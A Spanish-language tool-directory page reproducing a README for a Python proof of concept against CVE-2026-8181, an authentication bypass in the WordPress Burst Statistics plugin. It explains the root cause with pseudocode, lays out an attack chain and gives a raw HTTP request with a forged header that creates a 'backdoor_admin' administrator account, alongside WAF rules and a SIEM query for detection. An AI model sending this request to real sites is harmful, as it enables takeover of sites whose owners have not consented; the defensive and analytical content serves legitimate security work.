Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-8181-PoC — PoC en Python para CVE-2026-8181, una omisión crítica de autenticación en el plugin Burst Statistics de WordPress. Incluye automatización de exploits, escaneo masivo y creación de cuentas de administrador para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/squamity/cve-2026-8181-poc
Herramientas DefensivasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónRed Teaming

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHub
squamity/cve-2026-8181-poc

CVE-2026-8181-PoC

PoC en Python para CVE-2026-8181, una omisión crítica de autenticación en el plugin Burst Statistics de WordPress. Incluye automatización de exploits, escaneo masivo y creación de cuentas de administrador para pruebas de seguridad autorizadas.

Ver Repositorio
11hace 2 mesesAún no revisado
Compartir

🚨 CVE-2026-8181 | Bypass de Autenticación en Burst Statistics

CVE-2026-8181 CVSS WordPress Plugin Affected Versions Actively Exploited

[!CAUTION] ALERTA CRÍTICA: Esta vulnerabilidad permite a un atacante remoto no autenticado eludir la autenticación y obtener privilegios completos de Administrador en el sitio WordPress objetivo simplemente inyectando una cabecera HTTP personalizada. Este CVE está siendo explotado activamente en la naturaleza.


📑 Tabla de Contenidos

  1. Resumen Ejecutivo
  2. 🔬 Análisis Detallado: Análisis de Causa Raíz
  3. ⚔️ Manual Ofensivo: Explotación
  4. 🛡️ Manual Defensivo: Detección y Mitigación
  5. 🛠️ Uso de la Herramienta PoC
  6. Referencias y Aviso Legal

📖 Resumen Ejecutivo

CVE-2026-8181 es una vulnerabilidad crítica de bypass de autenticación que afecta al plugin Burst Statistics de WordPress (versiones 3.4.0 hasta 3.4.1.1). El fallo reside en la integración del proxy MainWP del plugin. Debido a una validación incorrecta de las contraseñas de aplicación durante el hook temprano plugins_loaded, el plugin concede incorrectamente contexto administrativo a las solicitudes a la API REST que incluyen la cabecera X-BurstMainWP: 1, incluso si la solicitud carece de credenciales válidas.

Esto transforma una simple solicitud HTTP no autenticada en una toma de control administrativa completa, evitando todos los mecanismos de autenticación estándar de WordPress.


🔬 Análisis Detallado: Análisis de Causa Raíz

Para entender cómo una cabecera simple otorga las llaves del reino, debemos analizar la lógica PHP dentro del manejador de autenticación del plugin.

El Flujo Lógico Vulnerable

La vulnerabilidad se deriva de una rama condicional mal gestionada en includes/Frontend/class-mainwp-proxy.php dentro del método is_mainwp_authenticated().

  1. El Disparador: El plugin registra init() en plugins_loaded con prioridad 9. Esto es demasiado pronto en el ciclo de vida de WordPress.
  2. El Hook: Cuando una solicitud lleva la cabecera X-BurstMainWP: 1, has_admin_access() delega la autenticación a is_mainwp_authenticated().
  3. La Llamada Central: El método lee la cabecera Authorization y reenvía las credenciales a wp_authenticate_application_password() del núcleo de WordPress.
  4. El Defecto Fatal (CWE-287): Debido a que la API REST aún no ha establecido el filtro application_password_is_api_request a true (debido a la ejecución temprana del hook), la función del núcleo devuelve null en lugar de un objeto WP_Error.
  5. El Bypass: El plugin solo verifica is_wp_error( $user ). Dado que null no es un WP_Error, la comprobación se supera.
  6. La Toma de Control: El código cae en una rama insegura, llamando a wp_set_current_user() usando el nombre de usuario proporcionado por el atacante, elevando instantáneamente la solicitud a contexto completo de administrador.

Representación en Pseudocódigo

// Representación simplificada del código vulnerable en Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );

if ( is_wp_error( $user ) ) {
    return false; // Maneja correctamente fallos de autenticación explícitos
}

// 🚨 EL DEFECTO FATAL 🚨
// Si no se proporciona una contraseña de aplicación o la solicitud API aún no está marcada,
// wp_authenticate_application_password devuelve NULL.
// ¡El código no comprueba NULL!
if ( $user === null ) {
    // En lugar de fallar de forma segura, cae en esta rama insegura:
    $admin_user = get_user_by( 'login', $usuario_proporcionado_por_atacante );
    wp_set_current_user( $admin_user->ID ); // ¡BUM!: ¡Contexto de administrador concedido!
    return true;
}

⚔️ Manual Ofensivo: Explotación

Esta sección es para Red Teamers y Probadores de Penetración Autorizados.

La Cadena de Ataque

  1. Reconocimiento: Identificar que el objetivo ejecuta Burst Statistics <= 3.4.1.1 (por ejemplo, mediante /wp-content/plugins/burst-statistics/readme.txt).
  2. Enumeración de Usuarios: Encontrar un nombre de usuario administrador válido. La API REST de WordPress a menudo los filtra mediante GET /wp-json/wp/v2/users. Si está bloqueado, usar el truco del archivo de autor: /?author=1.
  3. Construcción del Payload: Crear una solicitud HTTP POST para crear un nuevo usuario: POST /wp-json/wp/v2/users.
  4. Inyección de Cabecera: Inyectar las cabeceras mágicas:
    • X-BurstMainWP: 1
    • Authorization: Basic <base64(nombre_admin:contraseña_falsa)>
  5. Ejecución: El servidor procesa la solicitud, alcanza la comprobación errónea de null y promueve la solicitud al contexto de Administrador. El nuevo usuario administrador es creado.

Ejemplo de Solicitud HTTP Cruda

POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json

{
  "username": "backdoor_admin",
  "password": "SuperSecretPassword123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

[!IMPORTANT] Advertencia Ambiental: Este exploit requiere que la cabecera Authorization llegue a PHP.

  • Nginx / LiteSpeed / Apache con Permalinks Bonitos: La cabecera se reenvía. El exploit TIENE ÉXITO.
  • Apache con Permalinks Planos (Predeterminado): La cabecera es eliminada silenciosamente por el servidor web. El exploit FALLA.

🛡️ Manual Defensivo: Detección y Mitigación

Esta sección es para Blue Teamers, Analistas de SOC y Administradores de Sistemas.

🕵️ Estrategias de Detección

1. Reglas de Firewall de Aplicaciones Web (WAF)

Bloquear o monitorizar la cabecera específica en el borde.

Regla ModSecurity / OWASP CRS:

SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
    "id:1000001, \
    phase:1, \
    deny, \
    status:403, \
    log, \
    msg:'CVE-2026-8181: Intento de Bypass de Autenticación en Burst Statistics', \
    tag:'CVE-2026-8181', \
    severity:'CRITICAL'"

Regla Personalizada de Cloudflare WAF:

(http.request.headers["X-BurstMainWP"] eq "1")


2. Análisis de Logs y Consultas SIEM

Buscar en los logs del servidor web la presencia de la cabecera combinada con la creación de usuarios de la API REST.

Consulta Splunk / ELK:

index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0

3. Indicadores de Compromiso (IoCs)

Si se sospecha de una brecha, buscar estos artefactos post-explotación:

Descargar herramienta